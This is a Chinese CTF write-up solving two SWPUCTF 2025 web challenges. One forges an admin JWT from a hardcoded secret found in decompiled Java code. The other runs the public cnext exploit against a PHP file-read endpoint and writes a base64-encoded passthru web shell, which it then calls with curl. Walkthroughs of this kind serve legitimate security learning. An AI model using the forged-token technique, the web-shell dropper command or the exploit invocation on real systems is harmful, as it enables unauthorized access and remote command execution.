题目来源:NSSCTF

练习时间:2026年1月31日

练习数量:2

下篇:CTF-SWPUCTF2025秋季新生赛2

📖 SWPUCTF 2025 秋季新生赛合集
1️⃣CTF-SWPUCTF2025秋季新生赛1
2️⃣CTF-SWPUCTF2025秋季新生赛2
3️⃣CTF-SWPUCTF2025秋季新生赛3
4️⃣CTF-SWPUCTF2025秋季新生赛4
5️⃣CTF-SWPUCTF2025秋季新生赛5

⭐️ 01 [SWPUCTF 2025 秋季新生赛]”j”wt

🚩flag:NSSCTF{18a9770a-1881-4d6c-bc97-10cef8f39967}

💡hint:java jwt JAR反编译 JAVA审计 JWT伪造

🔧tool:jadx-gui www.jwt.io burpsuite

JWT(JSON Web Token)是一种
👉 把“你是谁 + 是否已登录”这些信息,打包成一个字符串,在前后端之间安全传来传去的方式。
结构:Header.Payload.Signature

工具启动:

jadx-gui

由下面两段代码得出username和password:

@PostMapping({"/login"})
public ResponseEntity<String> login(@RequestBody LoginRequest request) {
System.out.println("Login attempt: " + request.getUsername());
if (isValidUser(request.getUsername(), request.getPassword())) {
String token = Jwts.builder().setSubject(request.getUsername()).claim("role", ClassicConstants.USER_MDC_KEY).setIssuedAt(new Date()).setExpiration(new Date(System.currentTimeMillis() + CoreConstants.MILLIS_IN_ONE_HOUR)).signWith(SECRET_KEY).compact();
System.out.println("Generated token for " + request.getUsername() + " (role: user): " + token);
return ResponseEntity.ok(token);
}
System.out.println("Login failed for: " + request.getUsername());
return ResponseEntity.status(401).body("Login failed: Invalid credentials");
}

private boolean isValidUser(String username, String password) {
return ClassicConstants.USER_MDC_KEY.equals(username) && "Ns3.P@s3w0rd".equals(password);
}

得到用户名和密码:

{"username":"user","password":"Ns3.P@s3w0rd"}

注意抓包。
返回值就是 JWT 字符串。

对称密钥硬编码,可直接伪造 admin

源码里:

private static final String SECRET_STRING = "supersecretkeythatis32byteslong123!";
SECRET_KEY = Keys.hmacShaKeyFor(keyBytes);

解析时也是:

Jwts.parserBuilder().setSigningKey(SECRET_KEY).build().parseClaimsJws(token)

这意味着:只要你用同样的 secret 用 HS256 重新签名,服务端就会相信。

伪造思路:把 payload 的 role 改成 admin

/profile 里:

Object role = (String) claims.get("role");
...
if ("admin".equals(role)) {
profile.put("flag", getFlag());
}

使用工具:https://www.jwt.io/
进行JWT的解析和生成

将原来的抓包:

GET /profile HTTP/1.1
Host: node1.anna.nssctf.cn:25946
Accept-Language: zh-CN
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3Njk4NjUwNDMsImV4cCI6MTc2OTg2ODY0M30.dWTGzjxvO1UmFg77uODq_KLbNRu9NEbc6x3FDI1V1VM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: */*
Referer: http://node1.anna.nssctf.cn:25946/profile.html
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

当中的JWT修改为(注意要用到上面的secret string):

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY5ODY1MDQzLCJleHAiOjE3Njk4Njg2NDN9.pobCyK-xZOaffUZIAP29DfQGEI5kYT00RAtWPv-fXfY

然后就能在页面中拿到flag。

flag图片:


⭐️ 02 [SWPUCTF 2025 秋季新生赛]我是签到

🚩flag:NSSCTF{9d42f763-63c8-40d6-a4bb-31f0a37393fd}

💡hint:WEB

🔧tool:docker cnext-exploits

题目描述:

<?php   
if(isset($_POST['file'])){
$data = file_get_contents($_POST['file']);
echo "File contents: $data";}
highlight_file(__FILE__);
error_reporting(0);
?>

攻击脚本:https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

后面弄了一个ubuntu的docker环境在上面做出来的。

太不容易了。做了三个多小时才出来。exploit成功之后拿flag又折腾了一下。还是太不熟练了

python3 cnext-exploit.py \
http://node1.anna.nssctf.cn:27059/ \
"echo PD9waHAgcGFzc3RocnUoJF9QT1NUWydjbWQnXSk7ID8+ | base64 -d > /var/www/html/1.php"

攻击图1

curl -X POST \
-d 'cmd=env' \
http://node1.anna.nssctf.cn:27059/1.php

获得flag